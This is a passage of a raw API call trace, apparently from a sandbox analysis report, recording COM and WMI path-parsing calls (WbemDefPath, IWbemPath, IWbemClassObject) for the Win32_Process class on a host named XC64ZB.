(in: This=0x1b48ac70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0115.518] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48ac70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x656b70) returned 0x0 [0115.518] WbemDefPath:IUnknown:Release (This=0x1b48ac70) returned 0x0 [0115.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x656b70) returned 0x0 [0115.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0115.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0115.518] WbemDefPath:IUnknown:AddRef (This=0x656b70) returned 0x3 [0115.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0115.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0115.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b48af50) returned 0x0 [0115.518] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48af50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0115.518] WbemDefPath:IUnknown:Release (This=0x1b48af50) returned 0x3 [0115.518] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0115.519] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0115.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0115.519] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x2 [0115.519] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x1 [0115.519] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0115.519] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0115.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x656b70) returned 0x0 [0115.519] WbemDefPath:IUnknown:AddRef (This=0x656b70) returned 0x3 [0115.519] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x2 [0115.519] WbemDefPath:IWbemPath:SetText (This=0x656b70, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0115.519] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0115.519] SysStringByteLen (bstr="XC64ZB") returned 0xc [0115.519] SysStringByteLen (bstr="XC64ZB") returned 0xc [0115.519] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0115.519] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0115.519] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0115.519] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0115.520] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0115.520] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0115.520] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0115.520] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0115.520] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0115.520] IUnknown:Release (This=0x6124e8) returned 0x1 [0115.520] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48a9b0) returned 0x0 [0115.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48a9b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0115.521] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48a9b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656270) returned 0x0 [0115.521] WbemDefPath:IUnknown:Release (This=0x1b48a9b0) returned 0x0 [0115.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656270) returned 0x0 [0115.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0115.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0115.521] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0115.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0115.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0115.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48abf0) returned 0x0 [0115.521] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48abf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0115.521] WbemDefPath:IUnknown:Release (This=0x1b48abf0) returned 0x3 [0115.521] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0115.521] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0115.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0115.521] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0115.521] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0115.521] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0115.521] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0115.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656270) returned 0x0 [0115.522] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0115.522] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0115.522] WbemDefPath:IWbemPath:SetText (This=0x656270, uMode=0x4, pszPath="") returned 0x0 [0115.522] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0115.522] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0115.522] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0115.522] IUnknown:Release (This=0x6124e8) returned 0x1 [0115.522] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48ac10) returned 0x0 [0115.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48ac10, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0115.523] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48ac10, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x6567b0) returned 0x0 [0115.523] WbemDefPath:IUnknown:Release (This=0x1b48ac10) returned 0x0 [0115.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x6567b0) returned 0x0 [0115.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0115.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0115.523] WbemDefPath:IUnknown:AddRef (This=0x6567b0) returned 0x3 [0115.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0115.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0115.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48ac50) returned 0x0 [0115.523] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48ac50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0115.523] WbemDefPath:IUnknown:Release (This=0x1b48ac50) returned 0x3 [0115.523] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0115.523] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0115.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0115.523] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x2 [0115.523] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x1 [0115.523] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0115.523] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0115.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x6567b0) returned 0x0 [0115.524] WbemDefPath:IUnknown:AddRef (This=0x6567b0) returned 0x3 [0115.524] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x2 [0115.524] WbemDefPath:IWbemPath:SetText (This=0x6567b0, uMode=0x4, pszPath="") returned 0x0 [0115.524] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6567b0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0115.524] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656270, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0115.524] WbemDefPath:IWbemPath:GetClassName (in: This=0x6567b0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0115.524] WbemDefPath:IWbemPath:GetServer (in: This=0x6567b0, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0115.524] WbemDefPath:IWbemPath:SetServer (This=0x6567b0, Name="XC64ZB") returned 0x0 [0115.524] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0115.524] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0115.524] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0115.524] IUnknown:Release (This=0x6124e8) returned 0x1 [0115.525] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48ad10) returned 0x0 [0115.525] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48ad10, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0115.525] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48ad10, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656ff0) returned 0x0 [0115.525] WbemDefPath:IUnknown:Release (This=0x1b48ad10) returned 0x0 [0115.525] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656ff0) returned 0x0 [0115.525] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0115.525] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0115.525] WbemDefPath:IUnknown:AddRef (This=0x656ff0) returned 0x3 [0115.525] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0115.525] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0115.525] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48aef0) returned 0x0 [0115.525] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48aef0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0115.525] WbemDefPath:IUnknown:Release (This=0x1b48aef0) returned 0x3 [0115.525] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0115.525] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0115.525] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0115.525] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x2 [0115.525] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x1 